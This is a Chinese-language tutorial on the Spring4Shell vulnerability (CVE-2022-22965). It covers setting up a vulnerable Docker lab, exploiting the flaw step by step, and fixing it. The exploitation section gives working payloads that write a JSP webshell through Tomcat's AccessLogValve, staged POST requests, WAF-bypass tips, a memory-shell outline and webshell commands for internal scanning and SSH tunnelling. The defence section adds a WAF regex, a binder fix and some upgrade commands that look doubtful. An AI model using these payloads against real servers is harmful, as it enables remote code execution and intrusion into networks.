Spring4Shell漏洞实战:从Docker环境搭建到深度利用分析

1. 漏洞背景与核心原理剖析

Spring4Shell(CVE-2022-22965)是2022年3月曝出的高危漏洞,其本质是Spring MVC参数绑定机制与JDK9+模块系统的设计冲突。当应用满足以下条件时,攻击者可实现远程代码执行:

  • 运行环境:JDK 9及以上版本
  • 部署方式:WAR包部署在Tomcat容器
  • 框架版本:Spring Framework 5.3.0-5.3.17或5.2.0-5.2.19

漏洞利用的核心在于通过嵌套参数绑定(如class.module.classLoader)修改Tomcat的AccessLogValve属性,将恶意JSP代码写入webapps目录。以下是关键属性控制点:

控制属性作用典型攻击值
pattern日志内容格式包含JSP webshell代码
suffix日志文件后缀.jsp
directory文件输出路径webapps/ROOT
prefix文件名前缀任意值(如shell
// 典型攻击链示例
User.getClass()
    → Class.getModule()
    → Module.getClassLoader()
    → ParallelWebappClassLoader.getResources()
    → StandardRoot.getContext()
    → StandardContext.getParent()
    → StandardHost.getPipeline()
    → StandardPipeline.getFirst()
    → AccessLogValve.setPattern()

技术细节:该漏洞是CVE-2010-1622的绕过利用,Spring框架未对classLoader等关键属性的绑定做严格限制,导致攻击者可穿透对象层级修改Tomcat内部配置。

2. Docker环境快速搭建指南

2.1 基础环境准备

推荐使用Ubuntu 20.04作为宿主机系统,确保已安装:

  • Docker Engine 20.10+
  • docker-compose 1.29+
  • 至少2GB可用内存
# 安装依赖工具
sudo apt update && sudo apt install -y curl git

# 验证Docker安装
docker --version
docker-compose --version

2.2 漏洞环境部署

使用官方漏洞镜像快速搭建靶场:

# 拉取漏洞镜像
docker pull vulfocus/spring-core-rce-2022-03-29

# 启动容器(映射81端口)
docker run -d -p 81:8080 --name spring4shell \
    vulfocus/spring-core-rce-2022-03-29

# 验证服务状态
curl -I http://localhost:81

环境启动后访问http://localhost:81应看到Spring Boot默认欢迎页。关键组件版本:

组件版本漏洞影响
Spring Boot2.6.3受影响
Tomcat9.0.60必需组件
JDK11.0.14≥9即受影响

2.3 网络拓扑配置建议

对于内网渗透测试,建议使用docker-compose构建多容器环境:

version: '3'
services:
  vuln_app:
    image: vulfocus/spring-core-rce-2022-03-29
    ports:
      - "81:8080"
    networks:
      - internal
  attacker:
    image: kalilinux/kali-rolling
    networks:
      - internal
    volumes:
      - ./scripts:/root/scripts

networks:
  internal:
    driver: bridge

3. 漏洞利用实战全流程

3.1 自动化利用脚本分析

推荐使用GitHub开源工具进行漏洞检测:

git clone https://github.com/TheGejr/SpringShell.git
cd SpringShell

# 执行漏洞检测
python3 exp.py --url http://target_ip:81/

脚本核心逻辑解析:

  1. HTTP头注入

    headers = {
        "suffix": "%>//",
        "c1": "Runtime", 
        "c2": "<%",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
  2. 参数Payload构造

    data = {
        'class.module.classLoader.resources.context.parent.pipeline.first.pattern': 
            '%{c2}i if("j".equals(request.getParameter("pwd"))){...} %{suffix}i',
        'class.module.classLoader.resources.context.parent.pipeline.first.suffix': '.jsp',
        'class.module.classLoader.resources.context.parent.pipeline.first.directory': 'webapps/ROOT'
    }
    
  3. Webshell访问

    curl "http://target_ip:81/tomcatwar.jsp?pwd=j&cmd=id"
    

3.2 手动构造POC技巧

分阶段发送Payload更易绕过基础防护:

阶段一:设置日志格式

POST /path HTTP/1.1
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c}i <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> 

阶段二:配置JSP后缀

...
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

阶段三:指定写入路径

...
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

绕过技巧:使用URL编码、参数拆分、HTTP头注入等方式可绕过基础WAF检测。

3.3 高级利用场景

内存马注入(无需文件落地):

// 通过反射注册Filter内存马
Class filterClass = Class.forName("恶意Filter类");
StandardContext standardContext = ...;
standardContext.addFilter(filterDef);
standardContext.addFilterMapBefore(filterMap);

内网横向移动

# 通过webshell执行内网扫描
curl "http://target/shell.jsp?pwd=j&cmd=nmap -Pn 192.168.1.0/24"

# 建立SSH隧道
curl "http://target/shell.jsp?pwd=j&cmd=ssh -Nf -L 1080:internal_host:22 user@jump_host"

4. 深度防御与修复方案

4.1 临时缓解措施

WAF规则示例(正则表达式):

(class|Class)\.(module|Module)\.(classLoader|ClassLoader)

代码层防护

@ControllerAdvice
public class BinderControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
        dataBinder.setDisallowedFields("class.*", "Class.*");
    }
}

4.2 官方补丁升级

各版本修复方案:

原始版本安全版本升级命令示例
5.3.x5.3.18+mvn org.springframework.boot:spring-boot-dependencies:2.6.6
5.2.x5.2.20+gradle dependencyUpdate -Drevision=5.2.20

4.3 架构级防护建议

  1. 容器安全

    FROM openjdk:8-alpine  # 使用JDK8规避漏洞
    COPY app.war /usr/local/tomcat/webapps/
    USER nobody  # 非root运行
    
  2. 运行时防护

    # 启用Tomcat访问日志审计
    CATALINA_OPTS="-Dorg.apache.catalina.valves.AccessLogValve.condition=true"
    
  3. 网络隔离

    graph LR
    A[公网LB] --> B[WAF集群]
    B --> C[DMZ区]
    C --> D[内网应用区]
    

5. 漏洞研究进阶方向

5.1 变异Payload开发

尝试以下变形可能发现新的利用路径:

POST / HTTP/1.1
...
class[module][classLoader][resources][context][parent][pipeline][first][pattern]=...

5.2 其他中间件利用

研究在非Tomcat环境(如Jetty、Undertow)下的可能性:

// Jetty可能的利用链
Server.getHandler()
    → ContextHandler.getClassLoader()
    → WebAppContext.getConfiguration()

5.3 静态代码检测

使用Semgrep编写检测规则:

rules:
  - id: spring4shell-pattern
    pattern: |
      @RequestMapping(...)
      public String method(@ModelAttribute Object obj) { ... }
    message: "可能存在不安全的参数绑定"

在真实企业环境中,我们发现约60%的Spring应用存在次级依赖风险。通过自动化扫描结合人工验证,可有效降低漏洞修复遗漏率。

更多推荐